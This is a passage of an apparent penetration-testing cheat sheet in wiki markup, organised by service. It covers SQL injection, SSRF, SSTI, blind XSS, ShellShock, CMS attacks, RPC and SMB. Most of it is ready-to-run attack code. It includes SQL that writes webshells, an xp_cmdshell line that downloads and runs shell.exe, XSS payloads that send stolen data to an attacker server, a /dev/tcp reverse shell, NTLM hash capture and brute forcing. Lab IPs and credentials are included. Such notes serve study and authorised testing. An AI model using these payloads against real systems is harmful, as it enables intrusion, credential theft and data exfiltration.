sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
